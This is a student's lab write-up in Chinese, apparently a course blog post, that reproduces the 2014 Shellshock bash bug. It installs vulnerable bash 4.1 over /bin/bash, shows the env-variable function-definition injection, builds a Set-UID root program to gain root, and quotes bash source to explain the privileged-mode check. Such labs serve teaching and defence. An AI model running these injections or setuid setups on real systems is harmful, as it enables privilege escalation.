• 2020-2021-1 20209315《Linux内核原理与分析》第十二周作业


    实验简介

    2014年9月24日,Bash中发现了一个严重漏洞shellshock,该漏洞可用于许多系统,并且既可以远程也可以在本地触发。在本实验中,学生需要亲手重现攻击来理解该漏洞,并回答一些问题。

    预备知识

    什么是ShellShock?

    Shellshock,又称Bashdoor,是在Unix中广泛使用的Bash shell中的一个安全漏洞,首次于2014年9月24日公开。许多互联网守护进程,如网页服务器,使用bash来处理某些命令,从而允许攻击者在易受攻击的Bash版本上执行任意代码。这可使攻击者在未授权的情况下访问计算机系统。——摘自维基百科

    实验准备

    1.环境搭建

    以root权限安装4.1版bash(4.2版本以上的漏洞已经被堵上了) bash4.1 原来的下载地址是 http://ftp/gnu.org/gnu/bash/bash-4.1.tar.gz ,为了加快速度,我们这里使用下面的下载地址 http://labfile.oss.aliyuncs.com/bash-4.1.tar.gz
    下载:

    $ sudo su
    $ wget http://labfile.oss.aliyuncs.com/bash-4.1.tar.gz
    

    安装:

    $ tar xf bash-4.1.tar.gz
    $ cd bash-4.1
    $ ./configure 
    $ make && make install
    

    链接

    $ rm /bin/bash
    $ ln -s /usr/local/bin/bash /bin/bash
    

    到这里就安装完了,接下来检测是否存在shellshock漏洞。

    $ exit
    $ env x='() { :; }; echo vulnerable' bash -c "echo this is a test"
    

    输出vulnerable的话,说明bash有漏洞。

    2.预备知识

    了解bash自定义函数,只需要函数名就能够调用该函数。

    $ foo() { echo bar; } 
    $ foo
    > bar
    

    这个时候的Bash的环境变量:

    KEY = foo
    VALUE = () { echo bar; }
    

    来看看ShellShock漏洞的真身:

    export foo='() { :; }; echo Hello World'
    bash
    >Hello World
    

    为什么调用bash的时候输出Hello World了呢?瞧瞧他内部的情况:

    KEY = foo
    VALUE = () { :; };
    

    bash读取了环境变量,在定义foo之后直接调用了后面的函数。 一旦调用bash,自定义的语句就直接触发。

    实验

    本实验中,我们通过攻击Set-UID程序来获得root权限。

    我们知道system()函数将调用"/bin/sh -c" 来运行指定的命令, 这也意味着/bin/bash 会被调用,你能够利用shellshock漏洞来获取权限么?
    首先,确保安装了带有漏洞的bash版本,并让/bin/sh 指向/bin/bash.
    $ sudo ln -sf /bin/bash /bin/sh
    在 /home/shiyanlou 目录下新建一个 shock.c 文件:

    $ vi shock.c
    按 I 键切换到插入模式,再输入如下内容:

    #include <stdio.h>
    void main()
    {
        setuid(geteuid()); // make real uid = effective uid.
        system("/bin/ls -l");
    }
    

    编译这段代码,并设置其为Set-UID程序,保证它的所有者是root。

    $ sudo su
    $ gcc -o shock shock.c
    $ chmod u+s shock
    

    如果 setuid(geteuid()) 语句被去掉了,再试试看攻击,我们还能够拿到权限么?

    #include <stdio.h>
    void main()
    {
        system("/bin/ls -l");
    }
    
    $ sudo su
    $ gcc -o sh0ck shock.c
    $ chmod u+s sh0ck
    $ ls -il sh0ck
    $ exit
    $ ./sh0ck
    

    失败了!这就说明如果 real uid 和 effective uid 相同的话,定义在环境变量中的内容在该程序内有效,那样shellshock漏洞就能够被利用了。
    但是如果两个 uid 不同的话,环境变量失效,就无法发动攻击了,这可以从 bash的源代码中得到印证(variables.c,在308到369行之间)请指出
    是哪一行导致了这样的不同,并说明bash这样设计的原因。
    这里给出部分代码

    /* Initialize the shell variables from the current environment.
       If PRIVMODE is nonzero, don't import functions from ENV or
       parse $SHELLOPTS. */
    void
    initialize_shell_variables (env, privmode)
         char **env;
         int privmode;
    {
      char *name, *string, *temp_string;
      int c, char_index, string_index, string_length;
      SHELL_VAR *temp_var;
    
      create_variable_tables ();
    
      for (string_index = 0; string = env[string_index++]; )
        {
    
          char_index = 0;
          name = string;
          while ((c = *string++) && c != '=')
      ;
          if (string[-1] == '=')
      char_index = string - name - 1;
    
          /* If there are weird things in the environment, like `=xxx' or a
       string without an `=', just skip them. */
          if (char_index == 0)
      continue;
    
          /* ASSERT(name[char_index] == '=') */
          name[char_index] = '';
          /* Now, name = env variable name, string = env variable value, and
       char_index == strlen (name) */
    
          temp_var = (SHELL_VAR *)NULL;
    
          /* If exported function, define it now.  Don't import functions from
       the environment in privileged mode. */
          if (privmode == 0 && read_but_dont_execute == 0 && STREQN ("() {", string, 4))
      {
        string_length = strlen (string);
        temp_string = (char *)xmalloc (3 + string_length + char_index);
    
        strcpy (temp_string, name);
        temp_string[char_index] = ' ';
        strcpy (temp_string + char_index + 1, string);
    
        parse_and_execute (temp_string, name, SEVAL_NONINT|SEVAL_NOHIST);
    
        /* Ancient backwards compatibility.  Old versions of bash exported
           functions like name()=() {...} */
        if (name[char_index - 1] == ')' && name[char_index - 2] == '(')
          name[char_index - 2] = '';
    
        if (temp_var = find_function (name))
          {
            VSETATTR (temp_var, (att_exported|att_imported));
            array_needs_making = 1;
          }
        else
          report_error (_("error importing function definition for `%s'"), name);
    
        /* ( */
        if (name[char_index - 1] == ')' && name[char_index - 2] == '')
          name[char_index - 2] = '(';   /* ) */
    

    摘出其中关键部分并简化

    void initialize_shell_variables(){
    // 循环遍历所有环境变量
    for (string_index = 0; string = env[string_index++]; ) {
         /*...*/
         /* 如果有export过的函数, 在这里定义 */
         /* 无法导入在特权模式下(root下)定义的函数 */
         if (privmode == 0 && read_but_dont_execute == 0 &&
               STREQN (“() {“, string, 4)) {
               [...]
               // 这里是shellshock发生的地方
               // 传递函数定义 + 运行额外的指令
               parse_and_execute (temp_string, name,
                    SEVAL_NONINT|SEVAL_NOHIST);
    [...]
    } }
    
  • 相关阅读:
    oracle安装过程中遇到的问题
    HttpContext.Current 的缺陷
    oracle 复杂语句
    .net 中 ref out params的区别
    查看修改mysql编码方式[转载]
    Oracle 中的dual是什么东西
    KindEditor问题汇总【不定时更新】
    java中import、package作用和用法
    [笔记]: 哈弗曼树(最优二叉树) 标签: 二叉树 2017-05-17 16:38 34人阅读 评论(0) 收
    [noip 2004普及组] FBI树 标签: 二叉树递归 2017-05-17 14:29 40人阅读 评论(0)
  • 原文地址:https://www.cnblogs.com/lmmn/p/14183070.html
Copyright © 2020-2023  润新知